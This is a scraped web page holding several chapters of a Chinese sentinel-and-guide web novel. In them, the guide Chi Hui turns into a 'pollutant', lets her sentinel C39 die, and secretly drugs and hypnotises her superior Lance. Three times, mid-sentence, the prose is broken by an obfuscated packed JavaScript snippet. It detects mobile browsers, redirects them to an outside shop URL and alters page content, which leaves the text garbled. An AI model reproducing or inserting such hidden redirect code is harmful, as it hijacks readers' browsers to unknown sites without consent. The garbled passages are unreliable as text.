与此同时,池彗握紧刀柄,不顾自己手心的穿透伤,用力朝前一送—— “嘶……” 女孩吃痛,眼中闪过愤怒。 “你们居然……敢伤我?” 她抬起手。 污染物群疯狂了。 池彗回头看了一眼——C39正在拼命抵挡涌来的污染物,哨兵队长和其余人也已陷入了包围。 C39刚刚发送过求援通知,救援队此时或许已经在路上了,他们至少得撑到援军赶到。 池彗咬了咬牙,不再犹豫。 她摸出兜内的黑色药瓶,拔开瓶塞,倒出一粒药丸。 药丸是深黑色的,在它掌心微微滚动,像活着。 池彗来不及多想,一口吞了下去。 ——剧痛。 陌生的痛感顿时刺穿了她的大脑,她的视野开始扭曲,耳中响起尖锐的嗡鸣。 但与此同时,似乎有什么东西,在她的脑海深处苏醒了。 庞大的精神力倏然爆发,如海啸般涌出,覆盖了整个战场。哨兵的状态、污染物的位置,甚至每个人的战力如何——几乎一切,都囊括在她的感知之中。 “……姐姐?” C39微微一愣。 一股温和而强大的力量,注入了他的精神域。他消尽的体力开始恢复,原本蔫蔫趴在他肩上的水母,也情不自禁地抬起了头。 其他哨兵同样感受到了。战局瞬间扭转。 紧接着,池彗的声音,再次通过精神链接传来: “C39,召唤幻境,向左前方攻击。” “D07,绕后。注意污染物头顶的弱点。” “B15……掩护右侧,别让他们包夹。” 庞大的精神力支撑下,哨兵们再无后顾之忧,紧密配合起来。 怪物群开始溃散。 女孩退至远处,眼中再度闪过惊讶。她的手还在流血,蓝色的液体滴落在地,在地上腐蚀出一个个小坑。 “你……”她开口。 但话还未完,C39已经到了她面前。 少年的眼睛通红,脸上的血迹还没干,手中的匕首却很稳。 “这一刀,还给姐姐的。”他说。 匕首斩落。女孩想要闪开,但C39出招太快,在她的手上再次留下一道深深的伤痕。 伤上加伤。 她踉跄后退,忌惮地看向池彗: “我承认,你变得很强。” “但……你的爆发状态,又能持续多久呢?” 女孩再次抬手,地面开始震动。 地面瞬间开裂。裂缝从她脚下蔓延开来,朝四面八方扩散。许多哨兵站立不住,惨叫着掉入裂缝之中。 与此同时,那些原本溃散的污染物,重新站了起来。 “这是她的领域。” 一旁,C39脸色发白,“她在用自己的污染……强化那些污染物。” 池彗没有说话。 她的额头渗出冷汗。药效带来的力量正在减退。强行提升的能力,终究不属于自己。 “撑住。” 她透过精神链接,安抚着其他人,“救援队快到了。” 只是,这话说出来,她自己都不太信。 地面的裂缝越来越大。C39挡在最前面,用幻境一次次迷惑扑来的污染物,但他的动作越来越慢,精神体水母的触须也开始变得透明。 “C39,退后!”池彗喊道。 少年没有退。 他知道,一旦他退后,池彗就会暴露在那些污染物面前。 所以他死死站在原地,用血肉之躯筑起最后一道防线。 “轰——” 又是一波冲击。C39被震退几步,单膝跪地,嘴角溢出血丝。他的精神域在崩溃边缘,污染正在吞噬他最后的一点清醒。 但他还是站起来,重新挡在池彗身前。 “姐姐。”他说,声音沙哑,“我不会让你死的。” 池彗看着他颤抖的背影,看着他肩上那只几乎透明的、却依然在努力扬起触须的水母。 然而,内心升腾而出的并不是感动,而是某种高高在上的冷漠。 她控制不住自己的想法了。 过去精神疏导过的那些哨兵——他们的恐惧、愤怒、绝望……那些她以为自己已经“净化”掉的东西,此刻全都浮现出来,撕扯她的神智。 池彗终于相信——庞水说的,是真的。 向导,真的会变成污染物。哨兵身上的污染,并不会被她净化,只会被转移到她自己身上。 她之前的一切努力,都是加速她死亡的催化剂。她“净化”的哨兵越多,她死得,也就越快。 白塔骗了她,骗了所有向导。 池彗崩溃了。 “哈哈……” 讽刺的笑声从她口中溢出。她的灵魂仿佛从躯壳中抽出,倾听着自己绝望的低吼。 没了她的辅助,C39逐渐支撑不住。 他咬咬牙,突然转身,朝女孩冲去。 ——拼死一换一。 少年的身影在战场中央划出一道弧线。他用尽最后一丝气力,凝聚了最后一击。 匕首刺入女孩心脏的瞬间,他也被女孩的反击击中。 “轰——” 女孩惨叫着倒下,拼死一搏,地面的裂缝张开巨口。 C39的身体向下坠去,却在半空中勉强调整姿势,抓住了岩壁。 “姐姐……” 他向池彗伸出手。 “救……我……” 然而,此时的池彗,已经被脑海中铺天盖地的负面情绪控制。 痛苦、绝望、不敢置信……在她眼中,C39的负面情绪如同沸腾的水,鼓动着一个又一个气泡。 只要一点轻微的精神疏导,他就能活下来。 但池彗没有动。 她看着眼前的惨状,眼神漠然: “撕掉规则的,是你吗?” 闻言,C39瞳孔一缩。 极度的恐惧令他说不出话来,只能眼睁睁地看着池彗走近,俯身。 “抱歉。” 年轻的向导居高临下地望着他,神色一如往常。 她一点点掰开他握紧岩壁的手,换上自己的。二人双手交握,她高高在上,似是怜悯地说: “哨兵,都该死。” 说完,她毫不犹豫地松手,任由C39坠落下去。 * 池彗站在原地,看着自己的手。 C39刚刚还握着她的手。温热的,颤抖的,充满求生欲的手,在她掌心留下了难以磨灭的余温。 但她松开了。 她杀了他。 池彗抬起了头。 许是药物副作用的缘故,她的眼前,出现了庞水的脸。 她上前一步,伸出手,轻轻碰触池彗的脸。 “很痛苦吧?” 她怜悯地说,“你的精神域里,积攒了太多污染。那些哨兵的负面情绪,本不该由你承受。” “我知道。”池彗说。 “潜意识里,我一直都知道——我做精神疏导会头疼,是因为自己在吸收哨兵的污染。” “知道还继续?”庞水挑眉。 “因为没有选择。”池彗回答。 打工人,是没有选择的。 明知精神疏导是在慢性自杀,可为了保住白塔向导的地位,她又必须这样做。 可她……真的一定要做白塔的向导吗? 池彗的嘴角勾起讽刺的笑容。她开始嘲笑自己痛苦到解离的七年,嘲笑之前那个尽职尽责,却又不被接纳的自己。 她不再犹豫,转身,朝那个濒死的污染物女孩走去。 女孩躺在地上,胸口破了一个大洞,蓝色的液体汩汩流出。她的纯白眼睛已经失去焦距,身体正在慢慢崩解。 但她还活着。 池彗走到她面前,蹲下。 “像你一样,成为污染物,就能报复白塔吗?”她问。 女孩的瞳孔微微一缩。 “你……”她的声音沙哑,“你想干什么?” 池彗没有回答。 她伸出手,触碰女孩伤口处涌出的蓝色液体。 冰凉,粘稠,带着甜腻的腐败气息。 液体沾上她指尖的瞬间,脑海里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243021|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些负面情绪,突然安静了。 一种奇异的平静充斥在脑内,仿佛……她天生就应该接受污染,与之融为一体。 池彗闭了闭眼。 她听见自己的声音,平静得可怕: “请……让我成为污染物吧。” * 三小时后,白塔的救援小队姗姗来迟。 接到求救通知后,兰斯·温斯顿力排众议,亲自带人,拉着空间能力的哨兵紧赶慢赶,才终于在三小时内赶到了现场。 然而,他还是来晚一步。此刻的A-7污染区,已是一片废墟。 巨大的裂缝遍布在每一寸土地上。哨兵的尸体仰躺在缝隙之间,扩大的瞳孔中似乎还留存着一丝恐惧。 他们……遇见了什么? 兰斯蹲下身,看着哨兵死不瞑目的尸体,皱眉。 “快找!” 他命令身后的哨兵,语气阴骘,“池彗是向导,被那么多哨兵保护,她一定没死。” 救援小队得令,迅速散开,在废墟中翻找。 他们用工具拨开断壁残垣,不断地确认着地上的尸体身份。不断有哨兵被找到,但没有一个还活着。 随着时间流逝,伤亡情况逐渐明晰,但还有两个人迟迟没能被找到。 池彗和C39,不知去了哪里。 “可恶。” 兰斯的脸色愈发难看。想到池彗可能跌入裂缝之中、生死不明,他狠狠一拳捶在断墙,“该死的爱丽丝……” 就在这时,一名队员发现了什么: “兰斯大人!这里有一个活人——” 话还未完,兰斯瞬间出现在他身旁,吓了他一跳。 “池彗!” 队伍唯一的生还者——池彗仰躺在地上,身上被血液浸透。她的眼眸大睁着,面色因失血过多而变得惨白。 “医疗兵呢?快来!” 兰斯慌忙跪在地上,小心翼翼地用视线描摹她不断起伏的胸口,生怕下一秒她就晕死过去。 医疗兵立刻过来,抢救的抢救、抬担架的抬担架,在兰斯的盯视下手忙脚乱地张罗起来。一番抢救后,池彗脱离了生命危险。 兰斯这才慌忙将人抱起,表情仍然慌乱:“你、你没事就好……” 受伤的池彗,仿佛变了一个人。 “阁下……” 她温柔而恭顺地靠在他怀中,轻声说,“您……终于来了。” 兰斯愣住了。 池彗从来没有这样和他说过话。从来没有。 她一直都是恭敬而疏离的,从不会表露任何软弱。 但现在,她靠在他怀里,抓着他的衣袖,用那种近乎依赖的眼神看着他。 那因失血过多而苍白的唇微微张开,一丝嫣红从嘴角溢出,竟透出几分妖异的美。 兰斯一时看得有些愣神。 来自哨兵的第六感,令他感到一股莫名的危险。 可是,这是池彗第一次向他示弱啊。 欣喜令他很快忽略了这份奇怪的危险直觉。他低下头,为她捋顺被血液浸湿的发丝,心疼道: “都怪你,非要接下这次任务……” 说这话时,他丝毫没有意识到,这任务,本就是他自己派给她的。 “你的手,怎么流了这么多血?” 他小心擦拭池彗鲜血淋漓的手心,然而,预想中的伤口却并未出现。 “你……没受伤?” “不是我的血。” 池彗垂眸,眼中晦涩一闪而过,“刚刚的战斗中,我想救人,却不小心碰到了C39的伤口……” 她没有说完,眼中露出盈盈水光,可怜极了。 “对了,C39呢?” 见她示弱,兰斯的怀疑顿时一扫而空。 他不忍见到池彗这副脆弱的表情,却又生气她都这样了还想着别人,连忙答道:“他失踪了。放心,如果他没死,救援队一定能找到。你先跟我回去养伤,别再想着那几个哨兵了。” “……好。” 池彗安心地闭上双眼,似乎对他充满了依赖。 虽然过程充满曲折,但……他把池彗派去污染区的目的,竟然阴差阳错地达成了? 兰斯心花怒放,嘴角不禁上扬些许,又想到池彗还在看着,慌忙压了下去。 他轻轻抱起池彗,将人送进车内。悬浮车立即升起,扬长而去。 9. 第 9 章 几日后,白塔召开了一场例行月会。 兰斯·温斯顿带着他的助理池彗,照例出席了会议。 他坐在第三排靠过道的位置,百无聊赖地转着手上的笔。 “……综上所述,本月污染区清理任务完成率87.3%,较上月提升了约三个百分点……” 台上,某个秃顶的中年高官正在念经。 兰斯一个字都没听进去。 他侧过头,用余光瞥了一眼站在身后的池彗。 池彗今天穿了他挑的一款深灰色的向导制服,和他的同色系哨兵制服刚好呼应。她长长的头发规规矩矩地盘在脑后,脸上依旧没什么表情,却在他看过来时,露出一个恰到好处的微笑。 从前,兰斯从来不会带池彗参加这种高层会议。 ——一个F级向导,带出去做什么,让别的家族看笑话吗?温斯顿家族的第二继承人,身边居然连个像样的向导都配不起? 但最近不一样了。 自从池彗从A-7污染区回来后,就像变了一个人。 她不再像以前那样冷淡疏离,不再用以往那种“您说完了吗?我可以走了吗?”的眼神看他。 相反,她开始主动关心他——问他有没有好好吃饭,提醒他按时休息。 甚至,就在今天早上,她亲手给他泡了一杯茶,送到了他的办公桌上,还亲眼看着他喝了下去。 温柔、体贴、百依百顺。 一开始,兰斯有点受宠若惊,还以为是自己的错觉。 但一周过去、两周过去……池彗的态度始终如一。 他终于确定——她开窍了。 终于知道自己对她的好了吧?终于知道……能待在他的身边,究竟有多幸运了吧? 兰斯心情大好。他觉得,自己是时候该给她一点奖励了。 “这位是?” 这时,一道陌生的声音打断了兰斯的思绪。 原来,不知不觉,会议中场休息时间已经到了。 他抬起头,看见一个西装革履的中年老登,正笑眯眯地看着池彗。 “奥伯伦部长,这是我手下的向导,池彗。” 兰斯这会心情正好,虽然不太想理人,但还是破天荒地给了对方一个笑,同时向池彗使了个眼色,“池彗,这位是奥伯伦,14区白塔的防卫部部长。” “阁下,您好。” 池彗上前一步,得体地打了招呼。 “兰斯大人,你手下的向导可真多啊。” 奥伯伦笑眯眯地和池彗握手,再次看向兰斯,意有所指,“这几个月的月会,你身边的向导都没重样过。” 池彗:“噗。” 她没忍住,嘴角一勾,又很快压了下去。 兰斯的笑容僵了一瞬。 但偏偏奥伯伦说得是事实,他没法反驳,只好轻咳一声:“咳,以后不会了。” 他的身边确实经常换向导,不是因为那些向导不好,而是因为他……比较挑剔。 不过现在,他身边有了池彗。下次月会,他肯定还会带上她的。 ………… 所幸,这种会议的中场休息时间不长,会议很快就继续了下去。 作为温斯顿家族的第二继承人,兰斯虽然没什么正经职位,却还是坐在中间靠前的位置。 此时,他正专心致志地打开终端,看着手上的资料,不住跟随会议节奏点头。 然而,站在他身后的池彗,清晰地注意到——他已经快睡过去了。 眼皮在打架,脑袋一点一点地往下沉,手指无意识地划过终端屏幕,划出一串乱七八糟的标记。 真是难为他了。 台上的主持人还在念经:“……污染值监测系统的升级方案,初步预算约为……” 兰斯的脑袋又往下沉了一点。 又往下沉了一点。 再沉一点—— “咚。” 椅子发出一声闷响。 兰斯猛地惊醒,发现自己整个人已经歪到了椅子边缘,差点就要摔下去。他手忙脚乱地想稳住身体,但重心已经失衡—— 就在这时,一只手臂从身后伸过来,稳稳地扶住了他。 “阁下,小心。” 池彗的声音在耳边响起,温柔而关切。 兰斯被她扶着坐正,心跳还没平复,就听见池彗已经开口,向周围看过来的人小声解释: “抱歉,是我的疏忽。今早阁下身体不适,我应该提醒他多休息的。打扰各位了。” 她动作很快,也很得体。几个原本准备看好戏的目光,顿时收了回去。 兰斯有点懵。 他什么时候身体不适了? 但池彗已经收回手,重新站回他身后,脸上挂着无懈可击的关切表情。 兰斯张了张嘴,最终什么也没说。 他只是觉得有点奇怪——池彗不是重伤还未好吗?怎么……手臂忽然变得这么有力? * 兰斯的疑惑不是错觉。 变成污染物后,池彗感觉自己充满了力量。 与虚假的药物催化不同,成为污染物后,她确信,只要她敢,她可以一口气手撕十个哨兵。 ——当然,这里是白塔,给她十个胆子,池彗也是不敢的。 正常来说,人类在堕化为污染物后,会失去理智。 池彗从前也见过几个污染值过高的哨兵。他们渴望血肉,毫无理智可言。就算是高等级的人形污染物,神智也绝对称不上清醒。 可池彗发现,她在变成污染物后,除了偶尔会感到一些对兰斯·温斯顿的杀意——这点她觉得自己作为人类的时候也会有——她几乎没有受到任何与理智有关的负面影响。 这实在太奇怪了。 莫非,身为穿越者的她,其实是世界钦定的天选之子? 不仅如此,几天工作下来,池彗还发现,曾经会使她痛苦的精神疏导,不再是令人头疼的负担。 身为污染物的她,完全可以偷偷吞噬一些哨兵身上的污染,壮大己身。 她作为污染物的能力之一,是伪装自己的污染状态。 就像庞水那样,她可以自由收起自己作为污染物的那部分,看起来就跟普通向导没什么两样。 而能力之二,也是她觉得很有用的另一个能力,叫作“催眠”。 池彗偷偷在给其他哨兵疏导时测试过,只要在疏导的同时,消耗一些精神力,她就能对哨兵的意识动一些“小手脚”,从而影响他们的意识。 她悄悄用测试仪测过,变身后的她,目前的污染值,是102%。 对于一般哨兵而言,污染值超过60%,就很难维持住理智了。S01那样的高等级哨兵,大概能撑到80%。倘若过了90%,那就是一只脚踏入了污染物的门槛,向导都救不回来。 可……102%?? 现在的她,就是一个人形自走污染囊。看起来还是个人,实际上,内里已经烂透了。 池彗不无骄傲地想。 变成污染物后,她的思想显然也发生了一些转变。 比如现在。 白塔高层会议室里,负责报告的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243022|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于轮到了兰斯·温斯顿。 他正在例行汇报A-7污染区的清理进度,报告还是池彗给他写的。声音平板而无聊,像在念经。 池彗站在他侧后方的阴影里,目光描摹着他的后颈,污染物的本能蠢蠢欲动。 ——好想啃一口啊。 咬破颈动脉、吸食他的脊髓,然后…… “池彗?” 兰斯的声音突然响起。 他的汇报结束了。 池彗眨了眨眼,脸上立刻浮现无懈可击的微笑:“阁下,有什么吩咐?” 兰斯皱眉看着她:“你在发呆?” “没有。”池彗温顺地低下头,“我在认真听您说话。” 兰斯的眉头皱得更紧了。他盯着池彗看了几秒,忽然扶住额头,揉了揉太阳穴。 “阁下,您……没事吧?” 池·始作俑者·彗温柔地扶住了他。 今早给他泡茶时,她在茶水里加了点料。 不是什么致命的东西,只是会让人精神恍惚、注意力涣散、容易疲劳。剂量控制得很好,不会引起怀疑,只会让兰斯觉得是自己昨晚没睡好。 “没事。”兰斯摆了摆手,皱眉道,“可能是最近太累了。” 池彗点点头,乖巧地退回阴影里。 她的目光再次落在兰斯的后颈上。 不急。 她想。 他们……有的是时间。 * 是夜。 白塔等级评定处的走廊,空无一人。 兰斯不知道自己为什么会在这里。 他只记得自己睡得很沉,做了很多乱七八糟的梦。然后,有人轻轻推醒他,牵着他的手,带他穿过一条又一条走廊。 ——是池彗。 她好像不太一样了。 那头长长的头发,不知何时染成了橙色,一双殷红的蝴蝶翅膀在她耳边轻轻扇动,诡异而糜艳。 蝴蝶翅膀? 兰斯眨了眨眼,觉得有点奇怪,但又觉得……好像没什么问题。 哦。 他有点明白了。 ——这是在梦里啊。 既然是梦里,那就……由着她吧。 他迷迷糊糊地想。 “阁下,到了。” 池彗的声音响起,温柔得像在哄小孩。 兰斯抬起头,看见面前是等级评定处的门。 “我们……来这里做什么?” “评级。” 池彗道,“我觉醒了精神体,想重新评定一下向导等级。” 她微微一笑,右手边,忽然浮现出一只赤红的蝴蝶。 蝴蝶红白相间,翅膀边缘蜿蜒着道道黑纹,上面似乎浮现出若有若无的红色眼睛,诡异又美丽。 “看,这是我的精神体,赤眼蝶。” 池彗牵起他的手,声音温柔如水,“忘了告诉您……之前在A-7污染区,我在危险中忽然觉醒了精神体,精神力也有了突破。现在的我,已经不止是F级了,更能配得上您。” 兰斯皱了皱眉:“现在是半夜。” “正因为是半夜,才没有人打扰。” 池彗轻轻晃了晃他的手,说出的话,仿佛看破了他的心,“您……不是想奖励我吗?” 她微微歪着头,殷红的蝴蝶翅膀,在灯光下闪着诡异的光。 兰斯盯着那对翅膀看了几秒,总觉得哪里不对,但昏沉的大脑阻止了他继续思考。 “……好。”他最终说。 池彗勾了勾唇。 ——成了。 10. 第 10 章 白塔,等级登记处。 打盹的值班人员被叫醒时,整个人都是懵的。 他揉着眼睛,看着面前站着的两个人——一个他很眼熟,是温斯顿家族的第二继承人兰斯,另一个则是个不认识的向导。两人的身后,还飘着一对巨大的、殷红的蝴蝶翅膀。 等等,翅膀? 工作人员揉了揉眼睛,再睁开——翅膀不见了。 是错觉吧。 他松了口气,只觉得自己是睡迷糊了:“请问有什么事?” “评级。” 兰斯说,把池彗的简历递过去,语气依然是那种高高在上的调子,“给她重新评一下向导等级。” 工作人员下意识接过简历,愣了一下:“F级?” “嗯。” 池彗点点头,“我之前因为精神体残缺,评定等级一直是‘F’。最近觉醒了精神体,应该可以重新评定了。” 精神体? 工作人员狐疑地看着她。觉醒精神体这种事,确实可以重新评定等级,但他总觉得哪里不对。 “那你释放一下精神体,给我看看。” 他拿出检测仪,对准池彗。 池彗闭上眼睛,精神力缓缓释放。 随着精神力的升腾,一只赤色蝴蝶出现在她的肩头。蝴蝶有着美丽的花纹,虫体上有手有脚,似乎还长着一只大大的赤色巨眼…… 等等,蝴蝶怎么会长手长脚长眼睛? 工作人员一个激灵,醒了过来。 可他定睛再看,之前看到的诡异肢体,已经消失了。 真是睡迷糊了。 “嗯,没错。是觉醒了精神体。” 工作人员摇摇头,自嘲地笑笑,同时低头,把池彗简历上那行“精神体残缺”的文字用红笔划掉。 他手中的红笔似乎是什么污染道具。划掉的同时,简历上被划掉的字迹瞬间消失了。 “好了。” 他小心翼翼地收起笔,把它放进特制的抽屉里,再把简历递回,恭敬地看向兰斯,“兰斯大人,评级已经更新了,您看看。” 正常来说,想要等级评定处更改等级,需要一连串繁琐而无用的步骤。可兰斯身份特殊,要修改的向导等级也就F级而已,自然不用大动干戈。 工作人员在白塔体制内从业多年,有心卖这位温斯顿家族的大人一个好,自然不会多事。 然而,兰斯接过简历,匆匆扫了一眼,表情却并不满意: “才E级?” 他皱眉,凌厉的目光看向工作人员,语气不怒自威,“觉醒精神体后,她的实力可不止这些。” 啥?都走后门了,还嫌走得不够多? 工作人员被他吓得一个激灵,颤颤巍巍地解释:“大、大人,白塔的向导评级,历来都是一级一级升的,没有例外……我的权限就这么多,再高就评不了了。” 其实也可以跳级,但跳级的履历太过耀眼,势必会引起白塔数据的注意。 这就与池彗的目的大相径庭了。 “没关系。” 池彗眯了眯双眸,一只手轻柔地搭在兰斯肩头,温声道,“我多去外面出几个任务,刷够贡献点,就能升级评定了。” 一听她要外出,兰斯本能地感到不太情愿。 但他太累了,脑海一片混沌,再次迷迷糊糊地应下:“……好。” 工作人员顿时松了一口气,也顾不得多加检查,快速拿出印章印泥,在池彗的简历上戳了一个大大的“E”级盖章。 ——他就值个夜班,这位温斯顿家族的大人可千万不要再找茬了,他真的受不起啊!! 与此同时,默默操控一切的池彗,也暗自松了口气。 盖章了就好。 再演下去,她的精神力就不够了啊…… 还是得快点提升评定等级,然后借白塔资源猥-琐发育。不然,光是迷惑一个兰斯,就让她的精神力光得透透的。 …… 回到宿舍,池彗又感到一阵发晕。 这次,倒不是头痛了,纯粹是精神力消耗太多,累的。 不过以防万一,她拿出检测仪,顺手测试了下自己污染物本体状态下的污染值—— 【污染值:101%。】 咦? 白天的时候测,不还是102%吗? 莫非,这个“催眠”能力,不仅会消耗她的精神力,还会耗减她的污染值? 池彗两眼一黑。 目前,她已知的获取污染值的方法……只有精神疏导一个。 不是吧?怎么变成污染物后,她还是得天天打工啊??? * 次日清晨,兰斯的办公室。 副官推门而入时,兰斯正揉着太阳穴,试图驱散脑中挥之不去的混沌感。 昨晚睡得不错,但醒来后总觉得哪里不对劲,好像做了个很长的梦,却怎么也想不起来内容。 兰斯努力回忆,却什么都想不起来。不过……似乎他梦到了池彗? “阁下。” 这时,副官敲门而入,将一份文件放在桌上,“我来送A-7污染区任务的后续报告。” “嗯。” 兰斯兴致缺缺地接过,随手翻开。 第一页,任务概述;第二页,污染物清理情况评估;至于第三页—— 兰斯眯了眯双眸。 是【失踪人员报告】。 编号:C39 状态:失踪(疑似已死亡) 发现情况:在A-7污染区外围某区域,发现大量血迹及战斗痕迹。经DNA比对,部分血迹确认为C39所有。同时,发现C39防护服的血衣残片,血迹来源为向导F92(池彗)。 兰斯的目光略过报告,停在最后一句话上。 C39的……防护服残片? 倒是个新线索。 他皱了皱眉,继续往下看。 报告最后,附了几张现场照片。其中一张,正是C39的防护服血衣。 上面的出血量看起来非常恐怖,倘若这些血迹真是池彗的,那她……是怎么活着撑到救援的? “池彗的任务报告上,有提到她的伤势情况吗?” 副官觑着兰斯的脸色,试探着答道:“这个……她没有详细描述,我们也没多问。” 毕竟,一个柔弱无助的向导,本就对战局影响不大。他们问那么多,又有什么用呢? “……” 兰斯盯着报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243023|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告上的文字,皱眉。 “阁下?”副官见他出神,轻声唤道。 “……没事。” 兰斯回过神来,正准备再问些什么,副官却拿出了一沓设计单。 “对了,池向导的E级向导服,我已经着人去做了。您看看……选哪些颜色合适?” 兰斯接过设计单,目光扫过上面的配色。 浅灰、藏青、月白……都是常见的向导制服颜色,和他的常用色也对得上。 等等。 “E级?” 他忽然抬起头,眼神里满是困惑,“池彗什么时候变成E级了?不是F级吗?” “啊?不是您带着她去评定等级的吗?” 副官也愣了一下,懵了。 他犹豫片刻,还以为是兰斯故意在拿走后门一事试探他的忠诚,于是试探着说,“属下也觉得……池向导她,不应该只是E级。” 兰斯:“?” 什么玩意?这都什么跟什么? 他张了张嘴,想说自己根本不记得这事。但话到嘴边,脑海里却忽然闪过一些模糊的画面——手中的简历、奇怪的污染物红笔,还有……一对巨大的、殷红的…… 蝴蝶翅膀? 兰斯用力按了按眉心,画面消失了。 “阁下?”副官担忧地看着他。 “没事,”兰斯摆了摆手,疲惫道,“行吧,她能升级也是好事。” “对了,池彗呢?”他问。 “池向导去疏导室值班去了。” “值班?今天不是她的排期啊。” 兰斯在脑海里回忆了一下池彗的排班表,皱眉,嘀咕道,“她不是最讨厌做疏导了么。” “至于C39……失踪了也好。” 他眯了眯双眸,慢条斯理地在失踪报告书上签下自己的大名,表情傲慢,“免得池彗老担心他,一天到晚总说活要见人、死要见尸的。晦气。” “……” 副官沉默。 这份不把底层哨兵当人的做派……还真是傲慢啊。 * 与此同时,白塔之外的A-7污染区。 经过几天几夜的战斗,S01终于完成了他的任务,彻底毁掉了“听觉实验室”。 他站在废墟里,四周是大片的污染物残骸。 任务完成了,该回去了。 他转身准备离开。 就在这时,角落里有什么东西动了一下。 S01的刀瞬间出鞘,银光一闪,斩向那个方向。 “唰!” 刀光闪过,那东西被劈成两半,抽搐了两下,便不再动弹。 是一只水母。 很弱小的污染物,连最基础的战斗能力都没有。大概……是某个死去哨兵的精神体污染化后的产物吧。 S01没有多想,收刀,转身离开。 一地污泥。 然而,在他离开后不久,那被劈成两半的弱小污染物,忽然动了。 它蠕动着、不甘着,合二为一,贪婪地吞吃着地上的污染物残尸,然后再生、修复,逐渐变成了某种类人的、未知的样子…… 它最先生成的人类器官,是声带。 “姐、姐……” 11. 第 11 章 下午五点,疏导室。 池彗送走今天的第七个哨兵,靠在椅背上,揉了揉手腕。 精神力的消耗不大——或者说,对她现在的状态来说,这点消耗根本算不了什么。 相反,她的污染值倒是涨了。 她掏出检测仪,偷偷看了一眼:104%。 不错,照这个速度下去,很快就能突破110%了。虽然还不知道更高的污染值会带来什么,但变强的感觉,总归不坏。 她正准备收工,门突然被推开了。 “小彗。” 熟悉的声音,令池彗的动作顿了一下。 西伊站在门口,半扎的狼尾有些松散,白大褂下面是那件穿了很久的深灰色内衬。他的脸色看起来不太好,眼底有淡淡的青黑。 “你怎么来了?” 池彗站起身来迎他,表情有些意外,“今天医务室不忙?” “忙。” 西伊走进来,顺手把门带上,“找了个借口,溜出来的。” 他走到池彗面前,上下打量了她一番,目光让池彗有些不自在。 “那个药瓶……你用了吗?” 池彗心里咯噔一下。 她当然用了。 不止用了,还阴差阳错地把自己用成了污染物。 但这话能说吗? 显然不能。 “我没用。” 池彗面不改色地撒谎,“那东西看起来太危险了,我怕出问题。只是后来,在污染区里太混乱,也不知道什么时候就弄丢了。” 她顿了顿,补充道:“对不起,西伊。你冒那么大风险帮我弄来的药,我……” “没吃就好。” 西伊打断她,明显松了口气。 他伸出手,似乎想摸摸她的头,但伸出的手在半空顿了顿,又收了回去。 池彗注意到了这个细节。 奇怪。 以前的西伊从不避讳这些。他会笑着揉她的发旋,会拍她的肩说“注意安全”,还会在她装睡时给她掖好被子。 但现在,他在刻意保持距离。 为什么? “这是下周份的止痛药。” 这时,西伊从白大褂口袋里掏出熟悉的白色药瓶,递给她,“我看你最近太忙,一直没来医务室拿药,所以就找了精神疏导的借口,给你带来了。” 池彗接过药瓶,指尖摩挲着瓶子冰凉的外壳。 “谢谢。” 池彗有些感动。 这些年,她处处受窘,唯独受了西伊不少帮助。止痛药、医务室的床位、那些在无人角落里的陪伴……他一直在默默帮助她,不求回报。 她本想告诉他,她的头疼病已经好了,以后也不需要止痛药了。 但犹豫片刻,还是收下了药瓶。 “来吧。” 她收起药瓶,抬起手指,伸向西伊的额头,“我来为你做精神疏导。” 从前的她,技巧有余,精神力不足。西伊精神域的污染问题又太过严重,从前的疏导都只是浅尝辄止。 但如今,成为污染物后,她的精神力有所增长。再为他进行疏导,或许……能够帮他真正清除那些顽固的污染。 然而,西伊微微偏头,避开了她的手。 “不用。”他垂眸,笑了笑,“今天医务室人多,我得尽快回去。” 池彗的手悬在半空。 她怔了一下。 一向和她亲厚的西伊,怎地忽然变了态度? “……好吧。” 她收回手,没有强求。 为了缓解这微妙的气氛,她从口袋里掏出刚得到的E级向导徽章,在手里晃了晃: “看,这是什么?” 银色的徽章在灯光下闪闪发亮,上面刻着清晰的“E”字。 “你的向导评级提升了?” 西伊看着那枚徽章,眼睛弯了起来。 “真棒。”他说,毫不掩饰语气里的高兴,“那你岂不是要搬宿舍了?” “嗯。”池彗点点头。 四人寝确实不方便——她现在可是污染物,万一哪天不小心暴露了什么,室友第一个遭殃。 “怪不得这些天不来医务室休息了。” 西伊揶揄地看向她,打趣道,“原来是换宿舍了?” “也不全是。”池彗摊手。 说实话,变成污染物后,她还没想好自己要如何面对西伊。 她厌恶大多数哨兵——那些人逼她牺牲,只把她当纾-解污染的工具,毫不在意她的死活。可西伊是个例外。 这些年,池彗处处受窘,唯独受了他不少帮助。于情于理,都不该以怨报德。 但是……从她选择以污染物身份回到白塔的那一刻起,她就注定和西伊走到对立面。 